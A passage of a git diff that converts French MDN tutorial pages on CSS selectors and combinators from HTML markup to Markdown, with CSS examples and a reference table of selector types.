correspondants au premier. Les éléments descendants plus bas dans la hiérarchie ne correspondent pas. Par exemple, pour sélectionner uniquement les éléments `<p>` qui sont des enfants directs des éléments `<article>`: -<pre class="brush: css">article > p</pre> +```css +article > p +``` -<p>Dans cet exemple suivant, nous avons une liste non ordonnée, imbriquée à l'intérieur de laquelle se trouve une liste ordonnée. Nous utilisons le combinateur enfant pour sélectionner uniquement les éléments <code><li></code> qui sont un enfant direct d'un <code><ul></code>, et leur ai donné une bordure supérieure.</p> +Dans cet exemple suivant, nous avons une liste non ordonnée, imbriquée à l'intérieur de laquelle se trouve une liste ordonnée. Nous utilisons le combinateur enfant pour sélectionner uniquement les éléments `<li>` qui sont un enfant direct d'un `<ul>`, et leur ai donné une bordure supérieure. -<p>si vous supprimez le <code>></code> qui désigne cela comme un combinateur enfant, vous vous retrouvez avec un sélecteur descendant et tous les éléments <code><li></code> auront une bordure rouge.</p> +si vous supprimez le `>` qui désigne cela comme un combinateur enfant, vous vous retrouvez avec un sélecteur descendant et tous les éléments `<li>` auront une bordure rouge. -<p>{{EmbedGHLiveSample("css-examples/learn/selectors/child.html", '100%', 600)}}</p> +{{EmbedGHLiveSample("css-examples/learn/selectors/child.html", '100%', 600)}} -<h2 id="Combinateur_frère_adjacents">Combinateur frère adjacents</h2> +## Combinateur frère adjacents -<p>Le sélecteur de frère adjacent (<code>+</code>) est utilisé pour sélectionner quelque chose s'il est juste à côté d'un autre élément au même niveau de la hiérarchie. Par exemple, pour sélectionner tous les éléments <code><img></code> qui viennent juste après les éléments <code><p></code>:</p> +Le sélecteur de frère adjacent (`+`) est utilisé pour sélectionner quelque chose s'il est juste à côté d'un autre élément au même niveau de la hiérarchie. Par exemple, pour sélectionner tous les éléments `<img>` qui viennent juste après les éléments `<p>`: -<pre class="brush: css">p + img</pre> +```css +p + img +``` -<p>Un cas d'utilisation courant consiste à faire quelque chose avec un paragraphe qui suit un titre, comme dans mon exemple ci-dessous. Ici, nous recherchons un paragraphe qui est directement adjacent à un <code><h1></code>, et le stylisons.</p> +Un cas d'utilisation courant consiste à faire quelque chose avec un paragraphe qui suit un titre, comme dans mon exemple ci-dessous. Ici, nous recherchons un paragraphe qui est directement adjacent à un `<h1>`, et le stylisons. -<p>Si vous insérez un autre élément tel qu'un <code><h2></code> entre le <code><h1></code> et le <code><p></code>, vous constaterez que le paragraphe ne correspond plus au sélecteur et ne reçoit donc pas la couleur d'arrière-plan et de premier plan appliquée lorsque le l'élément est adjacent.</p> +Si vous insérez un autre élément tel qu'un `<h2>` entre le `<h1>` et le `<p>`, vous constaterez que le paragraphe ne correspond plus au sélecteur et ne reçoit donc pas la couleur d'arrière-plan et de premier plan appliquée lorsque le l'élément est adjacent. -<p>{{EmbedGHLiveSample("css-examples/learn/selectors/adjacent.html", '100%', 800)}}</p> +{{EmbedGHLiveSample("css-examples/learn/selectors/adjacent.html", '100%', 800)}} -<h2 id="Combinateur_général_de_frères">Combinateur général de frères</h2> +## Combinateur général de frères -<p>Si vous souhaitez sélectionner les frères d'un élément même s'ils ne sont pas directement adjacents, vous pouvez utiliser le combinateur général de frères (<code>~</code>). Pour sélectionner tous les éléments <code><img></code> qui viennent n'importe où après les éléments <code><p></code>, nous ferions ceci:</p> +Si vous souhaitez sélectionner les frères d'un élément même s'ils ne sont pas directement adjacents, vous pouvez utiliser le combinateur général de frères (`~`). Pour sélectionner tous les éléments `<img>` qui viennent n'importe où après les éléments `<p>`, nous ferions ceci: -<pre class="brush: css">p ~ img</pre> +```css +p ~ img +``` -<p>Dans l'exemple ci-dessous, nous sélectionnons tous les éléments <code><p></code> qui viennent après le <code><h1></code>, et même s'il y a aussi un <code><div></code> dans le document, le <code><p></code> qui vient après qu'il est sélectionné.</p> +Dans l'exemple ci-dessous, nous sélectionnons tous les éléments `<p>` qui viennent après le `<h1>`, et même s'il y a aussi un `<div>` dans le document, le `<p>` qui vient après qu'il est sélectionné. -<p>{{EmbedGHLiveSample("css-examples/learn/selectors/general.html", '100%', 600)}}</p> +{{EmbedGHLiveSample("css-examples/learn/selectors/general.html", '100%', 600)}} -<h2 id="Utilisation_de_combinateurs">Utilisation de combinateurs</h2> +## Utilisation de combinateurs -<p>Vous pouvez combiner n'importe lequel des sélecteurs que nous avons découverts dans les leçons précédentes avec des combinateurs afin de sélectionner une partie de votre document. Par exemple, si nous voulons sélectionner des éléments de liste avec une classe de "a", qui sont des enfants directs d'un <code><ul></code>, je pourrais utiliser ce qui suit.</p> +Vous pouvez combiner n'importe lequel des sélecteurs que nous avons découverts dans les leçons précédentes avec des combinateurs afin de sélectionner une partie de votre document. Par exemple, si nous voulons sélectionner des éléments de liste avec une classe de "a", qui sont des enfants directs d'un `<ul>`, je pourrais utiliser ce qui suit. -<pre class="brush: css">ul > li[class="a"] { }</pre> +```css +ul > li[class="a"] { } +``` -<p>Faites cependant attention lorsque vous créez de grandes listes de sélecteurs qui sélectionnent des parties très spécifiques de votre document. Il sera difficile de réutiliser les règles CSS car vous avez rendu le sélecteur très spécifique à l'emplacement de cet élément dans le balisage.</p> +Faites cependant attention lorsque vous créez de grandes listes de sélecteurs qui sélectionnent des parties très spécifiques de votre document. Il sera difficile de réutiliser les règles CSS car vous avez rendu le sélecteur très spécifique à l'emplacement de cet élément dans le balisage. -<p>Il est souvent préférable de créer une classe simple et de l'appliquer à l'élément en question. Cela dit, votre connaissance des combinateurs vous sera très utile si vous avez besoin d'accéder à quelque chose dans votre document et que vous ne parvenez pas à accéder au HTML, peut-être parce qu'il est généré par un CMS.</p> +Il est souvent préférable de créer une classe simple et de l'appliquer à l'élément en question. Cela dit, votre connaissance des combinateurs vous sera très utile si vous avez besoin d'accéder à quelque chose dans votre document et que vous ne parvenez pas à accéder au HTML, peut-être parce qu'il est généré par un CMS. -<h2 id="Testez_vos_compétences!">Testez vos compétences!</h2> +## Testez vos compétences! -<p>Nous en avons beaucoup vu dans cet article, mais pouvez-vous vous souvenir des informations les plus importantes? Vous pouvez trouver d'autres tests pour vérifier que vous avez conservé ces informations avant de continuer - voir <a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Selectors_Tasks">Test your skills: Selectors</a>.</p> +Nous en avons beaucoup vu dans cet article, mais pouvez-vous vous souvenir des informations les plus importantes? Vous pouvez trouver d'autres tests pour vérifier que vous avez conservé ces informations avant de continuer - voir [Test your skills: Selectors](/fr/docs/Learn/CSS/Building_blocks/Selectors/Selectors_Tasks). -<h2 id="Passer_à_la_suite">Passer à la suite</h2> +## Passer à la suite -<p>Ceci est la dernière section de nos leçons sur les sélecteurs. Ensuite, nous passerons à une autre partie importante du CSS - le <a href="/fr/docs/Apprendre/CSS/Building_blocks/Le_modele_de_boite">modèle de Boîte</a>.</p> +Ceci est la dernière section de nos leçons sur les sélecteurs. Ensuite, nous passerons à une autre partie importante du CSS - le [modèle de Boîte](/fr/docs/Apprendre/CSS/Building_blocks/Le_modele_de_boite). -<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements", "Learn/CSS/Building_blocks/The_box_model", "Learn/CSS/Building_blocks")}}</p> +{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements", "Learn/CSS/Building_blocks/The_box_model", "Learn/CSS/Building_blocks")}} -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ol> - <li><a href="/fr/docs/Apprendre/CSS/Building_blocks/Cascade_et_heritage">Cascade et héritage</a></li> - <li><a href="/fr/docs/Apprendre/CSS/Building_blocks/Selectors">Sélecteurs CSS</a> - <ul> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Sélecteurs de type, de classe, d'ID</a></li> - <li><a href="/fr/docs/Web/CSS/S%C3%A9lecteurs_d_attribut">Sélecteurs d'attribut</a></li> - <li><a href="/fr/docs/Apprendre/CSS/Building_blocks/Selectors/Pseudo-classes_et_pseudo-%C3%A9l%C3%A9ments">Pseudo-classes and pseudo-élements</a></li> - <li><a href="/fr/docs/Apprendre/CSS/Building_blocks/Selectors/Combinateurs">Combinateurs</a></li> - </ul> - </li> - <li><a href="/fr/docs/Apprendre/CSS/Building_blocks/Le_modele_de_boite">Le modèle de Boîte</a></li> - <li><a href="/fr/docs/Apprendre/CSS/Building_blocks/Backgrounds_and_borders">Arrières-plans et bordures</a></li> - <li><a href="/fr/docs/Apprendre/CSS/Building_blocks/Handling_different_text_directions">Gestion de différentes directions de texte</a></li> - <li><a href="/fr/docs/Apprendre/CSS/Building_blocks/Overflowing_content">Débordement de contenu</a></li> - <li><a href="/fr/docs/Web/CSS/Valeurs_et_unit%C3%A9s_CSS">Valeurs et unités</a></li> - <li><a href="/fr/docs/Apprendre/CSS/Building_blocks/Sizing_items_in_CSS">Taille des élements</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Images, média, et élements de formulaire</a></li> - <li><a href="/fr/docs/Apprendre/CSS/Building_blocks/Styling_tables">Mise en page de tableaux</a></li> - <li><a href="/fr/docs/Apprendre/CSS/Building_blocks/Debugging_CSS">Débogage CSS</a></li> - <li><a href="/fr/docs/https://developer.mozilla.org/en-US/docs/Learn/CSS/Building_blocks/Organizing">Organiser votre CSS</a></li> -</ol> +1. [Cascade et héritage](/fr/docs/Apprendre/CSS/Building_blocks/Cascade_et_heritage) +2. [Sélecteurs CSS](/fr/docs/Apprendre/CSS/Building_blocks/Selectors) + + - [Sélecteurs de type, de classe, d'ID](/fr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors) + - [Sélecteurs d'attribut](/fr/docs/Web/CSS/S%C3%A9lecteurs_d_attribut) + - [Pseudo-classes and pseudo-élements](/fr/docs/Apprendre/CSS/Building_blocks/Selectors/Pseudo-classes_et_pseudo-%C3%A9l%C3%A9ments) + - [Combinateurs](/fr/docs/Apprendre/CSS/Building_blocks/Selectors/Combinateurs) + +3. [Le modèle de Boîte](/fr/docs/Apprendre/CSS/Building_blocks/Le_modele_de_boite) +4. [Arrières-plans et bordures](/fr/docs/Apprendre/CSS/Building_blocks/Backgrounds_and_borders) +5. [Gestion de différentes directions de texte](/fr/docs/Apprendre/CSS/Building_blocks/Handling_different_text_directions) +6. [Débordement de contenu](/fr/docs/Apprendre/CSS/Building_blocks/Overflowing_content) +7. [Valeurs et unités](/fr/docs/Web/CSS/Valeurs_et_unit%C3%A9s_CSS) +8. [Taille des élements](/fr/docs/Apprendre/CSS/Building_blocks/Sizing_items_in_CSS) +9. [Images, média, et élements de formulaire](/fr/docs/Learn/CSS/Building_blocks/Images_media_form_elements) +10. [Mise en page de tableaux](/fr/docs/Apprendre/CSS/Building_blocks/Styling_tables) +11. [Débogage CSS](/fr/docs/Apprendre/CSS/Building_blocks/Debugging_CSS) +12. [Organiser votre CSS](/fr/docs/https://developer.mozilla.org/en-US/docs/Learn/CSS/Building_blocks/Organizing) diff --git a/files/fr/learn/css/building_blocks/selectors/index.md b/files/fr/learn/css/building_blocks/selectors/index.md index ece86d8018..ad59f05b6a 100644 --- a/files/fr/learn/css/building_blocks/selectors/index.md +++ b/files/fr/learn/css/building_blocks/selectors/index.md @@ -4,221 +4,204 @@ slug: Learn/CSS/Building_blocks/Selectors translation_of: Learn/CSS/Building_blocks/Selectors original_slug: Apprendre/CSS/Building_blocks/Selectors --- -<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Cascade_and_inheritance", "Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors", "Learn/CSS/Building_blocks")}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Cascade_and_inheritance", "Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors", "Learn/CSS/Building_blocks")}} -<p>Dans {{Glossary("CSS")}}, les sélecteurs sont utilisés pour cibler les éléments {{glossary("HTML")}} à mettre en forme dans nos pages web. CSS propose une grande diversité de sélecteurs, offrant ainsi une précision très fine dans la façon de cibler les éléments. Dans cet article nous explorerons en détails le fonctionnement de ces différents types.</p> +Dans {{Glossary("CSS")}}, les sélecteurs sont utilisés pour cibler les éléments {{glossary("HTML")}} à mettre en forme dans nos pages web. CSS propose une grande diversité de sélecteurs, offrant ainsi une précision très fine dans la façon de cibler les éléments. Dans cet article nous explorerons en détails le fonctionnement de ces différents types. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Notions de base en l'informatique, <a href="/fr/docs/Learn/Getting_started_with_the_web/Installing_basic_software">logiciels de base installés</a>, <a href="/fr/docs/Learn/Getting_started_with_the_web/Dealing_with_files">savoir manipuler des fichiers</a>, connaissance de base de HTML (cf. <a href="/fr/docs/Learn/HTML/Introduction_to_HTML">Introduction à HTML</a>.) et une première idée du fonctionnement de CSS (voir <a href="/fr/docs/Learn/CSS/First_steps">premiers pas en CSS</a>.)</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Voir dans les détails comment les sélecteurs CSS fonctionnent.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Notions de base en l'informatique, + <a + href="/fr/docs/Learn/Getting_started_with_the_web/Installing_basic_software" + >logiciels de base installés</a + >, + <a href="/fr/docs/Learn/Getting_started_with_the_web/Dealing_with_files" + >savoir manipuler des fichiers</a + >, connaissance de base de HTML (cf. + <a href="/fr/docs/Learn/HTML/Introduction_to_HTML" + >Introduction à HTML</a + >.) et une première idée du fonctionnement de CSS (voir + <a href="/fr/docs/Learn/CSS/First_steps">premiers pas en CSS</a>.) + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td>Voir dans les détails comment les sélecteurs CSS fonctionnent.</td> + </tr> + </tbody> </table> -<h2 id="what_is_a_selector">Qu'est-ce qu'un sélecteur ?</h2> +## Qu'est-ce qu'un sélecteur ? -<p>Vous les avez déjà rencontrés : toute règle CSS commence par un sélecteur. Un sélecteur est une expression qui indique au navigateur à quelle entité HTML s'applique la règle CSS correspondante. Le ou les éléments ciblés par le sélecteur sont le <em>sujet</em> de ce sélecteur.</p> +Vous les avez déjà rencontrés : toute règle CSS commence par un sélecteur. Un sélecteur est une expression qui indique au navigateur à quelle entité HTML s'applique la règle CSS correspondante. Le ou les éléments ciblés par le sélecteur sont le _sujet_ de ce sélecteur. -<p><img alt="Du code où h1 est surligné." src="selector.png"></p> + -<p>Vous avez rencontré plusieurs sélecteurs dans des articles précédents, vous avez vu que les sélecteurs ont différentes façons de cibler le document HTML — on peut par exemple cibler les éléments <code>h1</code>, ou la classe <code>.special</code>.</p> +Vous avez rencontré plusieurs sélecteurs dans des articles précédents, vous avez vu que les sélecteurs ont différentes façons de cibler le document HTML — on peut par exemple cibler les éléments `h1`, ou la classe `.special`. -<p>En CSS, les sélecteurs sont définis dans la spécification CSS Selectors ; comme tout le reste de CSS, le bon fonctionnement des sélecteurs dépend de la prise en charge par les navigateurs. La plupart des sélecteurs que vous rencontrerez sont définis dans la <a href="https://www.w3.org/TR/selectors-3/">spécification de niveau 3 pour les sélecteurs</a>, une spécification mature, aussi la prise en charge par les navigateurs est excellente.</p> +En CSS, les sélecteurs sont définis dans la spécification CSS Selectors ; comme tout le reste de CSS, le bon fonctionnement des sélecteurs dépend de la prise en charge par les navigateurs. La plupart des sélecteurs que vous rencontrerez sont définis dans la [spécification de niveau 3 pour les sélecteurs](https://www.w3.org/TR/selectors-3/), une spécification mature, aussi la prise en charge par les navigateurs est excellente. -<h2 id="selector_lists">Listes de sélecteurs</h2> +## Listes de sélecteurs -<p>Quand un groupe de déclarations CSS s'applique à plusieurs éléments distincts, on peut combiner les sélecteurs individuels en une liste. Par exemple, si j'ai le même CSS pour un <code>h1</code> et pour une classe <code>.special</code>, je pourrais écrire deux règles :</p> +Quand un groupe de déclarations CSS s'applique à plusieurs éléments distincts, on peut combiner les sélecteurs individuels en une liste. Par exemple, si j'ai le même CSS pour un `h1` et pour une classe `.special`, je pourrais écrire deux règles : -<pre class="brush: css">h1 { +```css +h1 { color: blue; } .special { color: blue; -}</pre> +} +``` -<p>ou bien une seule règle en combinant les sélecteurs, séparés par une virgule :</p> +ou bien une seule règle en combinant les sélecteurs, séparés par une virgule : -<pre class="brush: css">h1, .special { +```css +h1, .special { color: blue; -}</pre> +} +``` -<p>L'espace est valide avant ou après la virgule. Vous trouverez peut-être la version suivante plus lisible avec un sélecteur par ligne :</p> +L'espace est valide avant ou après la virgule. Vous trouverez peut-être la version suivante plus lisible avec un sélecteur par ligne : -<pre class="brush: css">h1, +```css +h1, .special { color: blue; -}</pre> +} +``` -<p>Dans l'exemple live ci-dessous, essayez de combiner les sélecteurs dont les déclarations sont identiques. Le rendu visuel devrait être inchangé.</p> +Dans l'exemple live ci-dessous, essayez de combiner les sélecteurs dont les déclarations sont identiques. Le rendu visuel devrait être inchangé. -<p>{{EmbedGHLiveSample("css-examples/learn/selectors/selector-list.html", '100%', 1000)}}</p> +{{EmbedGHLiveSample("css-examples/learn/selectors/selector-list.html", '100%', 1000)}} -<p>Quand on regroupe ainsi des sélecteurs, si l'un des sélecteurs est invalide la règle toute entière sera ignorée.</p> +Quand on regroupe ainsi des sélecteurs, si l'un des sélecteurs est invalide la règle toute entière sera ignorée. -<p>Dans l'exemple suivant, la règle avec le sélecteur de classe invalide sera ignorée, alors que le <code>h1</code> sera mis en forme comme prévu.</p> +Dans l'exemple suivant, la règle avec le sélecteur de classe invalide sera ignorée, alors que le `h1` sera mis en forme comme prévu. -<pre class="brush: css">h1 { +```css +h1 { color: blue; } ..special { color: blue; -}</pre> +} +``` -<p>En combinant les sélecteurs, la règle est considérée invalide et donc ignorée : ni <code>h1</code> ni les éléments de classe <code>.special</code> ne seront mis en forme.</p> +En combinant les sélecteurs, la règle est considérée invalide et donc ignorée : ni `h1` ni les éléments de classe `.special` ne seront mis en forme. -<pre class="brush: css">h1, ..special { +```css +h1, ..special { color: blue; -}</pre> +} +``` -<h2 id="types_of_selectors">Types de sélecteurs</h2> +## Types de sélecteurs -<p>On peut regrouper les sélecteurs en différents groupes ; classer les sélecteurs par type vous aidera à identifier l'outil pertinent pour chaque situation. Dans les sections suivantes, nous passons en revue ces différents types de sélecteurs.</p> +On peut regrouper les sélecteurs en différents groupes ; classer les sélecteurs par type vous aidera à identifier l'outil pertinent pour chaque situation. Dans les sections suivantes, nous passons en revue ces différents types de sélecteurs. -<h3 id="type_class_and_id_selectors">Sélecteurs de type, de classe, et d'ID</h3> +### Sélecteurs de type, de classe, et d'ID -<p>Ce groupe inclut les sélecteurs ciblant les élements HTML tels que <code><h1></code> :</p> +Ce groupe inclut les sélecteurs ciblant les élements HTML tels que `<h1>` : -<pre class="brush: css">h1 { }</pre> +```css +h1 { } +``` -<p>On trouve aussi les sélecteurs ciblant une classe :</p> +On trouve aussi les sélecteurs ciblant une classe : -<pre class="brush: css">.box { }</pre> +```css +.box { } +``` -<p>ou un ID :</p> +ou un ID : -<pre class="brush: css">#unique { }</pre> +```css +#unique { } +``` -<h3 id="attribute_selectors">Sélecteurs d'attribut</h3> +### Sélecteurs d'attribut -<p>Ce groupe de sélecteurs offre différents mécanismes pour cibler des éléments en fonction de la présence d'un attribut donné pour un élément donné :</p> +Ce groupe de sélecteurs offre différents mécanismes pour cibler des éléments en fonction de la présence d'un attribut donné pour un élément donné : -<pre class="brush: css">a[title] { }</pre> +```css +a[title] { } +``` -<p>Ou même de baser la sélection sur la présence d'un attribut avec une valeur bien précise :</p> +Ou même de baser la sélection sur la présence d'un attribut avec une valeur bien précise : -<pre class="brush: css">a[href="https://example.com"] { }</pre> +```css +a[href="https://example.com"] { } +``` -<h3 id="pseudo-classes_and_pseudo-elements">Pseudo-classes et pseudo-éléments</h3> +### Pseudo-classes et pseudo-éléments -<p>Ce groupe de sélecteurs inclut les pseudo-classes, qui ciblent des éléments dans un état donné. Par exemple, la pseudo-classe <code>:hover</code> sélectionne un élément seulement s'il est survolé par le pointeur de la souris :</p> +Ce groupe de sélecteurs inclut les pseudo-classes, qui ciblent des éléments dans un état donné. Par exemple, la pseudo-classe `:hover` sélectionne un élément seulement s'il est survolé par le pointeur de la souris : -<pre class="brush: css">a:hover { }</pre> +```css +a:hover { } +``` -<p>Ce groupe inclut aussi les pseudo-éléments, qui ciblent une certaine partie d'un élément plutôt que l'élément tout entier. Par exemple, <code>::first-line</code> sélectionne la première ligne d'un texte contenu dans un élément (un <code><p></code> dans l'exemple ci-dessous), comme si la première ligne du texte mis en forme était placée entre <code><span></code> et qu'après coup on appliquait un style sur cet élément.</p> +Ce groupe inclut aussi les pseudo-éléments, qui ciblent une certaine partie d'un élément plutôt que l'élément tout entier. Par exemple, `::first-line` sélectionne la première ligne d'un texte contenu dans un élément (un `<p>` dans l'exemple ci-dessous), comme si la première ligne du texte mis en forme était placée entre `<span>` et qu'après coup on appliquait un style sur cet élément. -<pre class="brush: css">p::first-line { }</pre> +```css +p::first-line { } +``` -<h3 id="combinators">Combinateurs</h3> +### Combinateurs -<p>Dans la dernière catégorie, on combine les sélecteurs pour cibler plus finement les éléments dans nos documents. L'exemple suivant sélectionne les paragraphes enfants directs de <code><article></code> grâce au combinateur enfant (<code>></code>) :</p> +Dans la dernière catégorie, on combine les sélecteurs pour cibler plus finement les éléments dans nos documents. L'exemple suivant sélectionne les paragraphes enfants directs de `<article>` grâce au combinateur enfant (`>`) : -<pre class="brush: css">article > p { }</pre> +```css +article > p { } +``` -<h2 id="next_steps">À faire ensuite</h2> +## À faire ensuite -<p>Vous pouvez consulter ci-dessous le tableau de référence des sélecteurs avec des liens directs vers les différents types de sélecteurs dans cette section <em>Apprendre</em> ou dans d'autres rubriques de MDN ; vous pouvez aussi suivre le fil de ce cours et en apprendre plus sur les <a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">sélecteurs de type, de classe, et d'ID</a>.</p> +Vous pouvez consulter ci-dessous le tableau de référence des sélecteurs avec des liens directs vers les différents types de sélecteurs dans cette section _Apprendre_ ou dans d'autres rubriques de MDN ; vous pouvez aussi suivre le fil de ce cours et en apprendre plus sur les [sélecteurs de type, de classe, et d'ID](/fr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors). -<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Cascade_and_inheritance", "Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors", "Learn/CSS/Building_blocks")}}</p> +{{PreviousMenuNext("Learn/CSS/Building_blocks/Cascade_and_inheritance", "Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors", "Learn/CSS/Building_blocks")}} -<h2 id="reference_table_of_selectors">Table de référence des sélecteurs</h2> +## Table de référence des sélecteurs -<p>Le tableau ci-dessous donne un aperçu des sélecteurs disponibles, ainsi que des liens vers les pages qui vous montreront comment utiliser chaque type de sélecteur. J'ai également inclus un lien vers la page MDN pour chaque sélecteur où vous pouvez vérifier les informations sur la prise en charge par les navigateurs. Pour la suite de ce cours, ou dans vos expériences CSS à venir, cette table sera votre référence quand vous rechercherez des informations sur les sélecteurs.</p> +Le tableau ci-dessous donne un aperçu des sélecteurs disponibles, ainsi que des liens vers les pages qui vous montreront comment utiliser chaque type de sélecteur. J'ai également inclus un lien vers la page MDN pour chaque sélecteur où vous pouvez vérifier les informations sur la prise en charge par les navigateurs. Pour la suite de ce cours, ou dans vos expériences CSS à venir, cette table sera votre référence quand vous rechercherez des informations sur les sélecteurs. -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Sélecteur</th> - <th scope="col">Exemple</th> - <th scope="col">Tutoriel CSS</th> - </tr> - </thead> - <tbody> - <tr> - <td><a href="/fr/docs/Web/CSS/Type_selectors">Sélecteur de type</a></td> - <td><code>h1 { }</code></td> - <td><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Sélecteurs de type</a></td> - </tr> - <tr> - <td><a href="/fr/docs/Web/CSS/Universal_selectors">Sélecteur universel</a></td> - <td><code>* { }</code></td> - <td><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors#the_universal_selector">The universal selector</a></td> - </tr> - <tr> - <td><a href="/fr/docs/Web/CSS/Class_selectors">Sélecteur de classe</a></td> - <td><code>.box { }</code></td> - <td><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors#class_selectors">Class selectors</a></td> - </tr> - <tr> - <td><a href="/fr/docs/Web/CSS/ID_selectors">Sélecteur d'ID</a></td> - <td><code>#unique { }</code></td> - <td><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors#id_selectors">ID selectors</a></td> - </tr> - <tr> - <td><a href="/fr/docs/Web/CSS/Attribute_selectors">Sélecteur d'attribut</a></td> - <td><code>a[title] { }</code></td> - <td><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Attribute selectors</a></td> - </tr> - <tr> - <td><a href="/fr/docs/Web/CSS/Pseudo-classes">Pseudo-class selectors</a></td> - <td><code>p:first-child { }</code></td> - <td><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Pseuso-classes_and_Pseudo-elements#What_is_a_pseudo-class">Pseudo-classes</a></td> - </tr> - <tr> - <td><a href="/fr/docs/Web/CSS/Pseudo-elements">Pseudo-element selectors</a></td> - <td><code>p::first-line { }</code></td> - <td><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Pseuso-classes_and_Pseudo-elements#What_is_a_pseudo-element">Pseudo-elements</a></td> - </tr> - <tr> - <td><a href="/fr/docs/Web/CSS/Descendant_combinator">Sélecteur descendant</a></td> - <td><code>article p</code></td> - <td><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Combinators#descendant_selector">Descendant combinator</a></td> - </tr> - <tr> - <td><a href="/fr/docs/Web/CSS/Child_combinator">Sélecteur enfant</a></td> - <td><code>article > p</code></td> - <td><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Combinators#child_combinator">Child combinator</a></td> - </tr> - <tr> - <td><a href="/fr/docs/Web/CSS/Adjacent_sibling_combinator">Sélecteur de frère adjacent</a></td> - <td><code>h1 + p</code></td> - <td><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Combinators#adjacent_sibling">Adjacent sibling</a></td> - </tr> - <tr> - <td><a href="/fr/docs/Web/CSS/General_sibling_combinator">Sélecteur de frère général</a></td> - <td><code>h1 ~ p</code></td> - <td><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Combinators#general_sibling">General sibling</a></td> - </tr> - </tbody> -</table> +| Sélecteur | Exemple | Tutoriel CSS | +| --------------------------------------------------------------------------- | ------------------- | --------------------------------------------------------------------------------------------------------------------------- | +| [Sélecteur de type](/fr/docs/Web/CSS/Type_selectors) | `h1 { }` | [Sélecteurs de type](/fr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors) | +| [Sélecteur universel](/fr/docs/Web/CSS/Universal_selectors) | `* { }` | [The universal selector](/fr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors#the_universal_selector) | +| [Sélecteur de classe](/fr/docs/Web/CSS/Class_selectors) | `.box { }` | [Class selectors](/fr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors#class_selectors) | +| [Sélecteur d'ID](/fr/docs/Web/CSS/ID_selectors) | `#unique { }` | [ID selectors](/fr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors#id_selectors) | +| [Sélecteur d'attribut](/fr/docs/Web/CSS/Attribute_selectors) | `a[title] { }` | [Attribute selectors](/fr/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors) | +| [Pseudo-class selectors](/fr/docs/Web/CSS/Pseudo-classes) | `p:first-child { }` | [Pseudo-classes](/fr/docs/Learn/CSS/Building_blocks/Selectors/Pseuso-classes_and_Pseudo-elements#What_is_a_pseudo-class) | +| [Pseudo-element selectors](/fr/docs/Web/CSS/Pseudo-elements) | `p::first-line { }` | [Pseudo-elements](/fr/docs/Learn/CSS/Building_blocks/Selectors/Pseuso-classes_and_Pseudo-elements#What_is_a_pseudo-element) | +| [Sélecteur descendant](/fr/docs/Web/CSS/Descendant_combinator) | `article p` | [Descendant combinator](/fr/docs/Learn/CSS/Building_blocks/Selectors/Combinators#descendant_selector) | +| [Sélecteur enfant](/fr/docs/Web/CSS/Child_combinator) | `article > p` | [Child combinator](/fr/docs/Learn/CSS/Building_blocks/Selectors/Combinators#child_combinator) | +| [Sélecteur de frère adjacent](/fr/docs/Web/CSS/Adjacent_sibling_combinator) | `h1 + p` | [Adjacent sibling](/fr/docs/Learn/CSS/Building_blocks/Selectors/Combinators#adjacent_sibling) | +| [Sélecteur de frère général](/fr/docs/Web/CSS/General_sibling_combinator) | `h1 ~ p` | [General sibling](/fr/docs/Learn/CSS/Building_blocks/Selectors/Combinators#general_sibling) | + +## Dans ce module + +1. [Cascade and inheritance](/fr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance) +2. [CSS selectors](/fr/docs/Learn/CSS/Building_blocks/Selectors) + + - [Type, class, and ID selectors](/fr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors) + - [Attribute selectors](/fr/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors) + - [Pseudo-classes and pseudo-elements](/fr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements) + - [Combinators](/fr/docs/Learn/CSS/Building_blocks/Selectors/Combinators) -<h2 id="in_this_module">Dans ce module</h2> - -<ol> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">Cascade and inheritance</a></li> - <li><a 